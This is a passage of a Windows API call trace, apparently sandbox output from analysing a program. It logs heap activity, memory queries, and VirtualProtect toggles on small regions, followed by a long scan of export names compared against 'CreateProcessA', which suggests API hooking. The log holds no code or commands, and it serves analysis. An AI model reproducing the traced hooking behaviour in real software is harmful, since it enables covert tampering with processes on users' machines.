ReturnLength=0x0) returned 0x0 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.491] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.492] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.492] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.492] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020b70 | out: hHeap=0x2020000) returned 1 [0079.492] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.492] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.492] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020b70 [0079.492] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.492] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.493] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020be0 [0079.494] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020be0 | out: hHeap=0x2020000) returned 1 [0079.494] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020be0 [0079.494] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.494] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.495] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.495] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.495] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.495] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.495] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.495] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.495] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.495] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.495] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.496] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.496] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.496] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020c50 | out: hHeap=0x2020000) returned 1 [0079.496] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.496] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.496] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020c50 [0079.496] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.497] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.497] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.497] lstrcmpiA (lpString1="RtlFreeHeap", lpString2="CreateProcessA") returned 1 [0079.497] lstrcmpiA (lpString1="swprintf_s", lpString2="CreateProcessA") returned 1 [0079.497] lstrcmpiA (lpString1="RtlInitUnicodeString", lpString2="CreateProcessA") returned 1 [0079.497] lstrcmpiA (lpString1="RtlUnicodeStringToInteger", lpString2="CreateProcessA") returned 1 [0079.497] lstrcmpiA (lpString1="RtlOpenCurrentUser", lpString2="CreateProcessA") returned 1 [0079.497] lstrcmpiA (lpString1="NtOpenKey", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtClose", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtEnumerateKey", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtQueryValueKey", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="wcscpy_s", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="wcscat_s", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlLeaveCriticalSection", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlEnterCriticalSection", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlMultiByteToUnicodeN", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlUnicodeToMultiByteN", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlActivateActivationContextUnsafeFast", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlDeactivateActivationContextUnsafeFast", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlFindActivationContextSectionString", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlReleaseActivationContext", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessA") returned -1 [0079.498] lstrcmpiA (lpString1="wcstol", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtQueryInformationProcess", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtQuerySecurityObject", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtSetSecurityObject", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtOpenDirectoryObject", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlCreateUnicodeStringFromAsciiz", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlFreeUnicodeString", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlInitAnsiString", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlAnsiStringToUnicodeString", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtVdmControl", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="wcstoul", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtCreateKey", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtSetValueKey", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtDeleteValueKey", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlQueryInformationActiveActivationContext", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtYieldExecution", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlIsThreadWithinLoaderCallout", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlUnicodeToMultiByteSize", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="CsrClientConnectToServer", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlInitializeCriticalSection", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlAllocateHeap", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="NtQuerySystemInformation", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlDeleteCriticalSection", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="RtlGetIntegerAtom", lpString2="CreateProcessA") returned 1 [0079.498] lstrcmpiA (lpString1="_stricmp", lpString2="CreateProcessA") returned -1 [0079.498] lstrcmpiA (lpString1="_wcsicmp", lpString2="CreateProcessA") returned -1 [0079.498] lstrcmpiA (lpString1="RtlInitializeNtUserPfn", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlRetrieveNtUserPfn", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="NtCallbackReturn", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="memmove", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="CsrClientCallServer", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlAllocateAndInitializeSid", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="NtQueryInformationToken", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlFreeSid", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="NtOpenThreadToken", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="NtOpenProcessToken", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="CsrAllocateCaptureBuffer", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="CsrAllocateMessagePointer", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="CsrFreeCaptureBuffer", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlNtStatusToDosError", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="CsrCaptureMessageBuffer", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlReAllocateHeap", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlRunDecodeUnicodeString", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlRunEncodeUnicodeString", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlGetThreadLangIdByIndex", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlSizeHeap", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="strcpy_s", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="strrchr", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="sscanf_s", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="wcsncat_s", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="NtRaiseHardError", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlPcToFileHeader", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="wcsrchr", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlImageNtHeader", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlCheckRegistryKey", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="LdrFlushAlternateResourceModules", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlMultiByteToUnicodeSize", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="qsort", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="iswspace", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="wcsncpy_s", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="_wtoi", lpString2="CreateProcessA") returned -1 [0079.499] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="NlsAnsiCodePage", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="RtlSetLastWin32Error", lpString2="CreateProcessA") returned 1 [0079.499] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="memset", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="__C_specific_handler", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="memcmp", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="SetBrushOrgEx", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetMapMode", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetHFONT", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="ExtSelectClipRgn", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetClipRgn", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="SetGraphicsMode", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetClipBox", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="CreateRectRgnIndirect", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="CreateRectRgn", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetBoundsRect", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="SetLayout", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="PlayEnhMetaFile", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="ExcludeClipRect", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="Ellipse", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="CreateEllipticRgn", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="GdiFixUpHandle", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="Rectangle", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="CreatePen", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="CreateBrushIndirect", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="PolyPatBlt", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="SetViewportOrgEx", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetViewportOrgEx", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetCurrentObject", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetTextCharacterExtra", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="SetTextCharacterExtra", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="SetBoundsRect", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="CopyEnhMetaFileW", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="CopyMetaFileW", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="SetPaletteEntries", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="CreatePalette", lpString2="CreateProcessA") returned -1 [0079.500] lstrcmpiA (lpString1="GetPaletteEntries", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetPixel", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetTextCharsetInfo", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="QueryFontAssocStatus", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="ExtTextOutA", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetCharWidthInfo", lpString2="CreateProcessA") returned 1 [0079.500] lstrcmpiA (lpString1="GetCharWidthA", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetTextFaceW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetCharABCWidthsW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetCharABCWidthsA", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetTextFaceAliasW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="EnumFontsW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="CreateFontIndirectW", lpString2="CreateProcessA") returned -1 [0079.501] lstrcmpiA (lpString1="GetTextColor", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetTextMetricsW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetWindowExtEx", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetViewportExtEx", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetBkMode", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiGetCharDimensions", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetTextCharset", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiGetCodePage", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiPrinterThunk", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiLoadType1Fonts", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiAddFontResourceW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="TranslateCharsetInfo", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="ExtTextOutW", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="RestoreDC", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="OffsetWindowOrgEx", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="SaveDC", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetDIBits", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="SetDIBits", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="SetStretchBltMode", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="CreateDIBSection", lpString2="CreateProcessA") returned -1 [0079.501] lstrcmpiA (lpString1="CreateCompatibleBitmap", lpString2="CreateProcessA") returned -1 [0079.501] lstrcmpiA (lpString1="CreateDIBitmap", lpString2="CreateProcessA") returned -1 [0079.501] lstrcmpiA (lpString1="CreateDCW", lpString2="CreateProcessA") returned -1 [0079.501] lstrcmpiA (lpString1="DeleteDC", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiValidateHandle", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="CreateSolidBrush", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetStockObject", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="CreateCompatibleDC", lpString2="CreateProcessA") returned -1 [0079.501] lstrcmpiA (lpString1="GdiProcessSetup", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GdiDllInitialize", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="GetRgnBox", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="MirrorRgn", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="OffsetRgn", lpString2="CreateProcessA") returned 1 [0079.501] lstrcmpiA (lpString1="CombineRgn", lpString2="CreateProcessA") returned -1 [0079.502] lstrcmpiA (lpString1="EnableEUDC", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiConvertToDevmodeW", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="BitBlt", lpString2="CreateProcessA") returned -1 [0079.502] lstrcmpiA (lpString1="TextOutW", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="TextOutA", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="PatBlt", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SetLayoutWidth", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="CreateBitmap", lpString2="CreateProcessA") returned -1 [0079.502] lstrcmpiA (lpString1="SetBkMode", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SelectObject", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="IntersectClipRect", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SetTextAlign", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetTextAlign", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SetBkColor", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SetTextColor", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetObjectW", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetBkColor", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetLayout", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiGetBitmapBitsSize", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetDIBColorTable", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetDeviceCaps", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="StretchDIBits", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="DeleteObject", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="DeleteMetaFile", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="DeleteEnhMetaFile", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiConvertBitmapV5", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiCreateLocalMetaFilePict", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiCreateLocalEnhMetaFile", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiConvertMetaFilePict", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiConvertEnhMetaFile", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiReleaseDC", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SetRectRgn", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GdiConvertAndCheckDC", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetObjectType", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="StretchBlt", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetTextExtentPointA", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GetTextExtentPointW", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0079.502] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetModuleFileNameA", 